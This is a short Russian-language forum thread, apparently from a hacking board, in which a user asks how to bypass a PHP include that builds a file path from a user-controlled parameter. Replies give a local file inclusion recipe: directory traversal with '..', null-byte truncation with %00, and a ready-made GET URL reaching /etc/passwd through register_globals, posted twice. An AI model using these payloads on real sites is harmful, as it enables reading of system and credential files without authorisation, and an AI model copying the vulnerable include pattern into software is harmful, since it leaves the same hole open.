Просмотр полной версии : Можно ли обойти такой "фильтр"?
В коде сайта есть такая конструкция:
if (file_exists('folder/' . $USER['param1'] . '.php'))
{
require "folder/{$USER['param1']}.php";
}
соответственно $USER['param1'] я могу задать любой.
Возможно ли обойти ограничение и сделать
локальный инклуд, например, для "/file1.txt"?
Выход ни директорию вверх можно сделать путем добавления в параметр ".." (без кавычек). Отрубить расширение php можно нулевым байтом (%00), что, впрочем, далеко не всегда проканывает. Ну, если идеальная ситуация, то так:
param1=../file.txt%00 (если параметр через GET запрос получает скрипт)
или, если в php коде, то:
$USER['param1'] = "../file.txt".chr(0);
да легко
примерно так
это при включенном registr global
http://sasasas.com/scipt.php?USER[param1]=../../../../../../../../../../../../../etc/passwd%00
да легко
примерно так
это при включенном registr global
http://sasasas.com/scipt.php?USER[param1]=../../../../../../../../../../../../../etc/passwd%00
Легко это если только мейджик квотс = офф, т.к. иначе это не прокатит.
P.S. вообще для вопросов есть спец тема и задавать вопросы нужно в ней, а не создавать новую тему.
P.P.S. закрыто.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot